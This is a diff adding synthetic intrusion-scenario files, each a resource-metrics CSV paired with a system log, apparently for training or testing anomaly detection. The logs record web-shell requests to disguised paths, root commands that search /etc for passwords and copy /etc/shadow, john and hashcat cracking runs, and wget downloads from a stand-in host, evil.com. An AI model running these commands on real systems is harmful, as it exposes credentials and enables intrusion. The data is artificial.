+2025-08-22T15:36:55Z,10.23849103958103,34.23849103958103,3.238491039581029,2.238491039581029,3.238491039581029 +2025-08-22T15:37:00Z,19.38491039581029,37.38491039581029,3.38491039581029,3.38491039581029,5.38491039581029 +2025-08-22T15:37:05Z,9.13849103958103,33.13849103958103,2.138491039581029,1.138491039581029,2.138491039581029 +2025-08-22T15:37:10Z,8.83849103958103,32.83849103958103,1.838491039581029,0.838491039581029,1.838491039581029 +2025-08-22T15:37:25Z,8.60831032393842,32.428472394821,2.58392109381029,1.384921039821,1.9382039481029 \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_6.log b/mali_dataset/scenario_8/mali_8_6.log new file mode 100644 index 0000000000000000000000000000000000000000..17030ad6a6a5472019a5fadbf9793e366b37b46f --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_6.log @@ -0,0 +1,16 @@ +Aug 22 15:30:03 db-gateway-node cron[1101]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Aug 22 15:30:40 db-gateway-node nginx[808]: 192.0.2.140 - - [22/Aug/2025:15:30:40 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:30:40 db-gateway-node su[3321]: (to root) www-data on none +Aug 22 15:30:40 db-gateway-node su[3321]: pam_unix(su:session): session opened for user root by (uid=33) +Aug 22 15:30:40 db-gateway-node su[3321]: www-data: executing /bin/sh -c 'hostname' +Aug 22 15:31:00 db-gateway-node nginx[808]: 192.0.2.140 - - [22/Aug/2025:15:31:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:31:44 db-gateway-node nginx[809]: 101.32.12.14 - - [22/Aug/2025:15:31:44 +0000] "GET /login.php HTTP/1.1" 200 1530 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 15:32:00 db-gateway-node nginx[809]: 192.0.2.140 - - [22/Aug/2025:15:32:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:32:05 db-gateway-node su[3325]: www-data: executing /bin/sh -c 'netstat -anp' +Aug 22 15:33:00 db-gateway-node nginx[808]: 192.0.2.140 - - [22/Aug/2025:15:33:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:34:00 db-gateway-node nginx[809]: 192.0.2.140 - - [22/Aug/2025:15:34:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:34:05 db-gateway-node su[3331]: www-data: executing /bin/sh -c 'grep -r "password" /etc/' +Aug 22 15:35:00 db-gateway-node nginx[808]: 192.0.2.140 - - [22/Aug/2025:15:35:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:35:33 db-gateway-node sshd(pam_unix)[3401]: session opened for user service-acct by (uid=0) +Aug 22 15:36:00 db-gateway-node nginx[809]: 192.0.2.140 - - [22/Aug/2025:15:36:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" +Aug 22 15:37:00 db-gateway-node nginx[808]: 192.0.2.140 - - [22/Aug/2025:15:37:00 +0000] "POST /assets/js/jquery.min.php HTTP/1.1" 200 21 "-" "Wget/1.20.3 (linux-gnu)" \ No newline at end of file diff --git a/mali_dataset/scenario_8/mali_8_7.csv b/mali_dataset/scenario_8/mali_8_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..aeff497e9ba9e9bf249213914e963e4887970673 --- /dev/null +++ b/mali_dataset/scenario_8/mali_8_7.csv @@ -0,0 +1,90 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T11:00:00Z,12.333063800105303,40.16524813253293,4.408215895786315,2.0298685125316345,3.227440133968254 +2025-08-21T11:00:05Z,12.60742884144296,41.49257252382451,3.238872477435105,2.152243883017724,3.2435552317822944 +2025-08-21T11:00:10Z,11.535086884391484,40.58474328540899,4.426256247012555,2.0722131979580133,2.449172260172671 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/dev/null +++ b/mali_dataset/scenario_8/mali_8_7.log @@ -0,0 +1,20 @@ +Aug 21 11:00:02 app-server-01 systemd[1]: Starting Daily apt download activities... +Aug 21 11:00:45 app-server-01 httpd[2341]: 203.0.113.55 - - [21/Aug/2025:11:00:45 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:00:55 app-server-01 audispd: node=app-server-01 type=SYSCALL msg=audit(1755966055.213:331): arch=c000003e syscall=59 success=yes exit=0 a0=556c89a8b5e0 a1=556c89a8b600 a2=556c89a8b610 a3=8 items=2 ppid=2345 pid=3112 auid=4294967295 uid=99 gid=99 euid=99 suid=99 fsuid=99 egid=99 sgid=99 fsgid=99 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/bash" key="process_spawn" +Aug 21 11:00:55 app-server-01 httpd: apache : TTY=unknown ; PWD=/var/www/ ; USER=root ; COMMAND=/bin/sh -c id +Aug 21 11:01:12 app-server-01 httpd[2341]: 8.8.8.8 - - [21/Aug/2025:11:01:12 +0000] "GET /healthcheck HTTP/1.1" 200 2 "-" "GoogleHC/1.0" +Aug 21 11:01:30 app-server-01 httpd[2342]: 203.0.113.55 - - [21/Aug/2025:11:01:30 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:01:45 app-server-01 httpd: apache : TTY=unknown ; PWD=/var/www/ ; USER=root ; COMMAND=/bin/sh -c ls -laR /var/www/ +Aug 21 11:02:15 app-server-01 httpd[2341]: 203.0.113.55 - - [21/Aug/2025:11:02:15 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:02:48 app-server-01 sshd[3150]: Accepted password for user admin from 192.168.1.101 port 51234 ssh2 +Aug 21 11:03:00 app-server-01 httpd[2342]: 203.0.113.55 - - [21/Aug/2025:11:03:00 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:03:45 app-server-01 httpd[2341]: 203.0.113.55 - - [21/Aug/2025:11:03:45 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:04:30 app-server-01 httpd[2342]: 203.0.113.55 - - [21/Aug/2025:11:04:30 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:04:30 app-server-01 httpd: apache : TTY=unknown ; PWD=/var/www/ ; USER=root ; COMMAND=/bin/sh -c tar -czf /tmp/backup.tar.gz /var/www/html +Aug 21 11:04:55 app-server-01 httpd[2341]: 123.123.123.123 - - [21/Aug/2025:11:04:55 +0000] "GET /api/v1/user/settings HTTP/1.1" 200 1024 "https://example.com/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" +Aug 21 11:05:15 app-server-01 httpd[2341]: 203.0.113.55 - - [21/Aug/2025:11:05:15 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:06:00 app-server-01 httpd[2342]: 203.0.113.55 - - [21/Aug/2025:11:06:00 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:06:30 app-server-01 httpd: apache : TTY=unknown ; PWD=/var/www/ ; USER=root ; COMMAND=/bin/sh -c 'echo "done" > /dev/null' +Aug 21 11:06:45 app-server-01 httpd[2341]: 203.0.113.55 - - [21/Aug/2025:11:06:45 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" +Aug 21 11:07:01 app-server-01 CRON[3201]: (root) CMD (run-parts /etc/cron.hourly) +Aug 21 11:07:15 app-server-01 httpd[2342]: 203.0.113.55 - - [21/Aug/2025:11:07:15 +0000] "POST /images/icons/favicon.jsp HTTP/1.1" 200 45 "-" "python-requests/2.25.1" \ No newline at end of file diff --git a/mali_dataset/scenario_9/mali_9_1.csv b/mali_dataset/scenario_9/mali_9_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..a435604c2dacd05829bc90152ffcc87fb02a982c --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_1.csv @@ -0,0 +1,82 @@ +timestamp,cpu_usage,gpu_usage,mem_usage,disk_io,net_in,net_out +2023-10-27T09:00:00Z,12.3,1.5,28.5,8.1,2.5,3.1 +2023-10-27T09:00:05Z,11.9,1.4,28.6,7.9,2.2,2.9 +2023-10-27T09:00:10Z,12.5,1.5,28.4,8.3,2.8,3.5 +2023-10-27T09:00:15Z,12.1,1.6,28.7,7.8,2.4,3.0 +2023-10-27T09:00:20Z,12.0,1.5,28.5,8.0,2.6,3.2 +2023-10-27T09:00:25Z,11.8,1.4,28.6,8.2,2.3,2.8 +2023-10-27T09:00:30Z,12.4,1.5,28.4,7.9,2.7,3.4 +2023-10-27T09:00:35Z,12.2,1.6,28.8,8.1,2.5,3.1 +2023-10-27T09:00:40Z,11.9,1.4,28.5,7.8,2.2,2.9 +2023-10-27T09:00:45Z,12.6,1.5,28.7,8.4,2.9,3.6 +2023-10-27T09:00:50Z,25.1,1.6,45.2,85.5,2.1,2.5 +2023-10-27T09:00:55Z,98.5,1.8,45.8,15.2,0.1,0.2 +2023-10-27T09:01:00Z,99.8,1.9,46.1,2.5,0.0,0.1 +2023-10-27T09:01:05Z,99.9,1.9,46.2,2.1,0.1,0.1 +2023-10-27T09:01:10Z,100.0,2.0,46.2,1.9,0.0,0.2 +2023-10-27T09:01:15Z,100.0,2.0,46.3,1.8,0.1,0.1 +2023-10-27T09:01:20Z,100.0,2.1,46.3,2.0,0.0,0.1 +2023-10-27T09:01:25Z,100.0,2.1,46.3,1.9,0.1,0.2 +2023-10-27T09:01:30Z,100.0,2.0,46.4,1.8,0.0,0.1 +2023-10-27T09:01:35Z,100.0,2.0,46.4,1.7,0.1,0.1 +2023-10-27T09:01:40Z,100.0,2.1,46.4,1.9,0.0,0.1 +2023-10-27T09:01:45Z,100.0,2.1,46.5,2.0,0.1,0.2 +2023-10-27T09:01:50Z,100.0,2.0,46.5,1.8,0.0,0.1 +2023-10-27T09:01:55Z,100.0,2.0,46.5,1.9,0.1,0.1 +2023-10-27T09:02:00Z,100.0,2.1,46.5,1.8,0.0,0.2 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+2023-10-27T09:05:25Z,100.0,2.1,47.6,1.9,0.1,0.2 +2023-10-27T09:05:30Z,100.0,2.0,47.6,1.8,0.0,0.1 +2023-10-27T09:05:35Z,100.0,2.0,47.6,1.7,0.1,0.1 +2023-10-27T09:05:40Z,100.0,2.1,47.6,1.9,0.0,0.1 +2023-10-27T09:05:45Z,100.0,2.1,47.7,2.0,0.1,0.2 +2023-10-27T09:05:50Z,100.0,2.0,47.7,1.8,0.0,0.1 +2023-10-27T09:05:55Z,100.0,2.0,47.7,1.9,0.1,0.1 +2023-10-27T09:06:00Z,100.0,2.1,47.7,1.8,0.0,0.2 +2023-10-27T09:06:05Z,100.0,2.1,47.8,1.7,0.1,0.1 +2023-10-27T09:06:10Z,100.0,2.0,47.8,1.9,0.0,0.1 +2023-10-27T09:06:15Z,100.0,2.0,47.8,2.0,0.1,0.2 +2023-10-27T09:06:20Z,100.0,2.1,47.8,1.8,0.0,0.1 +2023-10-27T09:06:30Z,100.0,2.0,47.9,1.8,0.0,0.1 +2023-10-27T09:06:35Z,100.0,2.0,47.9,1.7,0.1,0.1 +2023-10-27T09:06:40Z,100.0,2.1,47.9,1.9,0.0,0.1 +2023-10-27T09:06:45Z,100.0,2.1,48.0,2.0,0.1,0.2 \ No newline at end of file diff --git a/mali_dataset/scenario_9/mali_9_1.log b/mali_dataset/scenario_9/mali_9_1.log new file mode 100644 index 0000000000000000000000000000000000000000..b0e187a6e8ff393ecd67dbb9116960b347f7fb6d --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_1.log @@ -0,0 +1,28 @@ +Oct 27 09:00:01 db-server-prod systemd[1]: Starting system activity accounting tool... +Oct 27 09:00:05 db-server-prod CRON[2105]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Oct 27 09:00:15 db-server-prod systemd[1]: Started Session 315 of user root. +Oct 27 09:00:33 db-server-prod sshd[2120]: Accepted publickey for pentester from 198.51.100.10 port 51234 ssh2: RSA SHA256:abc... +Oct 27 09:00:33 db-server-prod systemd[1]: Created slice User Slice of pentester. +Oct 27 09:00:33 db-server-prod systemd[1]: Started Session 316 of user pentester. +Oct 27 09:00:41 db-server-prod sudo[2135]: pentester : TTY=pts/0 ; PWD=/home/pentester ; USER=root ; COMMAND=/bin/cat /etc/shadow +Oct 27 09:00:41 db-server-prod sudo[2135]: pam_unix(sudo:session): session opened for user root by pentester(uid=0) +Oct 27 09:00:42 db-server-prod sudo[2135]: pam_unix(sudo:session): session closed for user root +Oct 27 09:00:50 db-server-prod auditd[789]: type=EXECVE msg=audit(1666861250.345:789): argc=4 a0="john" a1="--wordlist=/usr/share/wordlists/fasttrack.txt" a2="/tmp/shadow_copy" +Oct 27 09:00:51 db-server-prod kernel: [86400.123] process /usr/sbin/john (pid 2140) starting +Oct 27 09:01:00 db-server-prod CRON[2150]: (root) CMD ( /usr/lib/sysstat/sa1 1 1) +Oct 27 09:05:00 db-server-prod systemd[1]: Starting Clean Up of Temporary Directories... +Oct 27 09:06:40 db-server-prod kernel: [86799.987] INFO: task john:2140 blocked for more than 120 seconds. +Oct 27 09:06:40 db-server-prod kernel: [86799.988] Tainted: G W 5.4.0-100-generic #113-Ubuntu +Oct 27 09:06:40 db-server-prod kernel: [86799.989] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. +Oct 27 09:06:41 db-server-prod kernel: [86800.001] john D 0 2140 2130 0x00000080 +Oct 27 09:06:41 db-server-prod kernel: [86800.002] Call Trace: +Oct 27 09:06:41 db-server-prod kernel: [86800.003] __schedule+0x2e3/0x740 +Oct 27 09:06:41 db-server-prod kernel: [86800.004] schedule+0x33/0xa0 +Oct 27 09:06:41 db-server-prod kernel: [86800.005] schedule_preempt_disabled+0xe/0x10 +Oct 27 09:06:41 db-server-prod kernel: [86800.006] __mutex_lock_slowpath+0x14f/0x250 +Oct 27 09:06:41 db-server-prod kernel: [86800.007] mutex_lock+0x2f/0x40 +Oct 27 09:06:41 db-server-prod kernel: [86800.008] do_exit+0x38a/0xb70 +Oct 27 09:06:41 db-server-prod kernel: [86800.009] do_group_exit+0x33/0xa0 +Oct 27 09:06:41 db-server-prod kernel: [86800.010] __x64_sys_exit_group+0x14/0x20 +Oct 27 09:06:41 db-server-prod kernel: [86800.011] do_syscall_64+0x57/0x190 +Oct 27 09:06:41 db-server-prod kernel: [86800.012] entry_SYSCALL_64_after_hwframe+0x44/0xa9 \ No newline at end of file diff --git a/mali_dataset/scenario_9/mali_9_10.csv b/mali_dataset/scenario_9/mali_9_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..8aadf537e2df2cf63d6d5d1338ee6831746c70df --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.149127836715655,41.175704655308685,39.04533136558021,1.0381739195119566,1.1100099647626251 +2025-07-02T12:00:05Z,17.663289688214313,41.33197809629197,26.627529730142175,0.97518722366608,0.5655891848125726 +2025-07-02T12:00:10Z,12.998440789498655,35.32175054419978,34.25178209692618,0.7990644173524735,0.5070700828287994 +2025-07-02T12:00:15Z,13.46852788584526,37.61232682117584,20.950725343632786,1.4526939441379887,0.791213910498439 +2025-07-02T12:00:20Z,14.332460299724378,44.83899482594005,22.618334383299036,0.9414174841771846,1.2447515127933673 +2025-07-02T12:00:25Z,19.139737958720552,40.22036800700298,39.73947893952882,0.6559563362457549,1.1735177678372322 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+2025-07-02T12:07:10Z,95.16242541160582,62.279877839243554,1.12946736797582,0.2446428130219573,0.2159524245750205 +2025-07-02T12:07:15Z,99.92396939802647,56.980754575268755,3.0113777355421867,0.13160790581812615,0.18440420513912564 +2025-07-02T12:07:20Z,99.67779197578727,56.086734799919,4.058723687502146,0.1561238125332438,0.25755875921823324 +2025-07-02T12:07:25Z,99.48996489569129,61.888165970069416,4.40611795312039,0.2862092385929523,0.1885250699304492 diff --git a/mali_dataset/scenario_9/mali_9_10.log b/mali_dataset/scenario_9/mali_9_10.log new file mode 100644 index 0000000000000000000000000000000000000000..d68f0409ffe887ecabed0252b49bf1c69c62ca26 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_10.log @@ -0,0 +1,27 @@ +Jul 02 11:59:50 server sshd[1234]: Accepted password for attacker from 192.168.1.10 port 22 ssh2 +Jul 02 11:59:51 server systemd-logind[567]: New session 123 of user attacker. +Jul 02 12:00:05 server CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:00 server web-app[2345]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:30 server systemd[1]: Starting daily clean up activities... +Jul 02 12:02:30 server auditd[432]: type=PROCTITLE msg=audit(1656763500.123:45): proctitle=6a6f686e20736861646f772e747874 +Jul 02 12:02:30 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:02:30 server bash[1235]: cat /etc/shadow > shadow.txt +Jul 02 12:02:30 server bash[1235]: john --restore +Jul 02 12:02:30 server bash[1235]: john shadow.txt +Jul 02 12:02:30 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:03:20 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:03:20 server bash[1235]: john --restore +Jul 02 12:03:20 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:04:10 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:04:10 server bash[1235]: john --restore +Jul 02 12:04:10 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:05:00 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:05:00 server bash[1235]: john --restore +Jul 02 12:05:00 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:05:50 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:05:50 server bash[1235]: john --restore +Jul 02 12:05:50 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 +Jul 02 12:06:00 server web-app[2345]: GET /api/v1/user/78 status=200 OK +Jul 02 12:06:40 server auditd[432]: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes ... a0=... a1=... a2=... a3=... items=... ppid=... pid=1236 auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="john" exe="/usr/sbin/john" ... +Jul 02 12:06:40 server bash[1235]: john --restore +Jul 02 12:06:40 server kernel: [12345.678] john[1236]: segfault at 7f... ip ... sp ... error 4 diff --git a/mali_dataset/scenario_9/mali_9_11.csv b/mali_dataset/scenario_9/mali_9_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..bb6ea90d870095576db13c859f4ec4bd1d33c44b --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T14:00:00Z,6.439515877242773,27.336307284538414,8.286054656705053,1.347197613599977,1.4602646856978905 +2025-08-15T14:00:05Z,14.508584479309526,25.487365129523088,9.742668222451073,0.646121889040788,0.5404325316413412 +2025-08-15T14:00:10Z,10.125535753163046,29.342278494587053,7.44318488125976,1.3333386539617194,1.3910855094148418 +2025-08-15T14:00:15Z,6.763928105473797,29.890606406114973,8.833565428062968,0.5521058947922984,0.9683253212368667 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Accepted publickey for attacker from 198.51.100.23 port 54322 ssh2: RSA SHA256:... +Aug 15 14:00:10 server1 systemd-logind[1021]: New session 42 of user attacker. +Aug 15 14:00:45 server1 CRON[3105]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 15 14:01:40 server1 bash: USER=attacker, PWD=/home/attacker, CMD=john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup +Aug 15 14:02:30 server1 kernel: [11345.6789] audit: type=1326 audit(1755266550.0:123): proctitle="john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup" +Aug 15 14:02:31 server1 top[1111]: PID 3158 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.8g SHR 1.2g S %CPU 99.9 %MEM 60.1 TIME+ 10:45.32 COMMAND john +Aug 15 14:05:00 server1 kernel: [11345.6789] audit: type=1326 audit(1755266700.0:123): proctitle="john --wordlist=/usr/share/wordlists/rockyou.txt /root/shadow_backup" +Aug 15 14:05:01 server1 top[1111]: PID 3158 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.8g SHR 1.2g S %CPU 99.9 %MEM 60.1 TIME+ 10:45.32 COMMAND john +Aug 15 14:07:10 server1 systemd[1]: Starting Daily apt download activities... diff --git a/mali_dataset/scenario_9/mali_9_12.csv b/mali_dataset/scenario_9/mali_9_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..17354561c607f6dca2c0ddfdcac284fe26fb7a5d --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T14:00:00Z,11.44,37.34,33.14,1.39,1.28 +2025-07-03T14:00:05Z,19.51,35.49,38.97,0.9,0.72 +2025-07-03T14:00:10Z,15.13,39.34,29.77,1.38,1.23 +2025-07-03T14:00:15Z,11.76,39.89,35.33,0.84,0.98 +2025-07-03T14:00:20Z,12.99,40.92,22.24,1.24,0.96 +2025-07-03T14:00:25Z,19.09,42.12,21.44,1.34,0.82 +2025-07-03T14:00:30Z,19.73,35.7,30.5,1.4,0.85 +2025-07-03T14:00:35Z,17.1,45.0,35.17,1.27,0.92 +2025-07-03T14:00:40Z,19.65,41.77,28.59,1.39,1.11 +2025-07-03T14:00:45Z,16.08,42.33,38.6,1.03,1.28 +2025-07-03T14:00:50Z,17.78,35.98,25.63,0.99,1.04 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b/mali_dataset/scenario_9/mali_9_12.log new file mode 100644 index 0000000000000000000000000000000000000000..fc4d6f35bf59d4e15fe40f8e88616cab33dfe6ef --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_12.log @@ -0,0 +1,23 @@ +Jul 03 14:00:10 server systemd[1]: Starting daily clean up activities... +Jul 03 14:00:25 server CRON[3101]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 14:00:40 server web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 03 14:01:05 server sshd[3150]: Accepted password for attacker from 192.168.1.101 port 54321 ssh2 +Jul 03 14:01:05 server systemd-logind[987]: New session 5 of user attacker. +Jul 03 14:01:15 server bash[3152]: user=attacker command='wget http://evil.com/hashes.txt' +Jul 03 14:01:20 server bash[3152]: user=attacker command='wget http://evil.com/rockyou.txt.gz' +Jul 03 14:01:25 server bash[3152]: user=attacker command='gunzip rockyou.txt.gz' +Jul 03 14:01:30 server bash[3152]: user=attacker command='john --wordlist=rockyou.txt hashes.txt' +Jul 03 14:01:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:01:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:02:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:02:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:03:20 server systemd[1]: Starting session 6 of user root. +Jul 03 14:03:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:03:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:04:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:04:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:05:00 server CRON[3250]: (root) CMD ( [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi) +Jul 03 14:05:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:05:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john +Jul 03 14:06:40 server kernel: [12345.678] INFO: task john:3199 blocked for more than 120 seconds. +Jul 03 14:06:40 server top[3200]: PID 3199 USER attacker PR 20 NI 0 VIRT 2.5g RES 1.2g SHR 3000 S %CPU 99.8 %MEM 15.0 TIME+ 1:05.12 COMMAND john diff --git a/mali_dataset/scenario_9/mali_9_13.csv b/mali_dataset/scenario_9/mali_9_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..15487396ea85320fe432ad02d91bea3d975374c5 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_13.csv @@ -0,0 +1,91 @@ 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+2025-07-02T11:06:40Z,98.13292934218612,68.92813881390222,4.600973917848815,0.0414087601864795,0.04772875796569802 +2025-07-02T11:06:45Z,98.85028391591787,60.0076841123889,4.507226913503023,0.014368523791724801,0.0361341073783819 +2025-07-02T11:06:50Z,98.44148791988165,66.53982996852346,3.2403095410727207,0.039833697813563704,0.01572540897256264 +2025-07-02T11:06:55Z,99.09113163769017,64.26920468807428,2.152165837760404,0.027961674507016754,0.018902896437511814 +2025-07-02T11:07:00Z,98.47914985386232,60.432358841062104,2.907272181606279,0.04769510843804355,0.0453081200305237 +2025-07-02T11:07:05Z,98.85063501938207,63.60022441190642,3.4033222641675387,0.04786828529035293,0.04925768638431192 +2025-07-02T11:07:10Z,98.06497016464233,67.27987783924355,1.12946736797582,0.03892856260439147,0.0331904849150041 +2025-07-02T11:07:15Z,99.96958775921058,61.980754575268755,3.0113777355421867,0.016321581163625226,0.026880841027825127 +2025-07-02T11:07:20Z,99.87111679031491,61.086734799919,4.058723687502146,0.021224762506648762,0.04151175184364665 +2025-07-02T11:07:25Z,99.79598595827652,66.88816597006942,4.40611795312039,0.04724184771859046,0.027705013986089842 diff --git a/mali_dataset/scenario_9/mali_9_13.log b/mali_dataset/scenario_9/mali_9_13.log new file mode 100644 index 0000000000000000000000000000000000000000..adfc1533aa7f90818f0e677643915c89a6cb31d9 --- /dev/null +++ b/mali_dataset/scenario_9/mali_9_13.log @@ -0,0 +1,20 @@ +Jul 02 11:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:10 sshd[1234]: Accepted publickey for attacker from 192.168.1.10 port 22 ssh2: RSA SHA256:... +Jul 02 11:00:10 systemd[1]: Created slice User Slice of UID 1001. +Jul 02 11:00:10 systemd[1]: Starting User Session Manager for UID 1001... +Jul 02 11:00:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:30 web-app[2345]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 root: /root/.bash_history: /usr/bin/hashcat -m 1000 -a 0 /root/hashes.txt /usr/share/wordlists/rockyou.txt +Jul 02 11:01:45 auditd[123]: type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=59 success=yes exit=0 a0=7f4b1d7d1f5b a1=7f4b1d7d1f70 a2=7f4b1d7d20e0 a3=0 items=2 ppid=1234 pid=5678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 comm="hashcat" exe="/usr/bin/hashcat" key="execve" +Jul 02 11:02:00 top[5679]: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND +Jul 02 11:02:00 top[5679]: 5678 root 20 0 12.5g 6.1g 1.2g R 99.9 60.0 0:15.34 hashcat +Jul 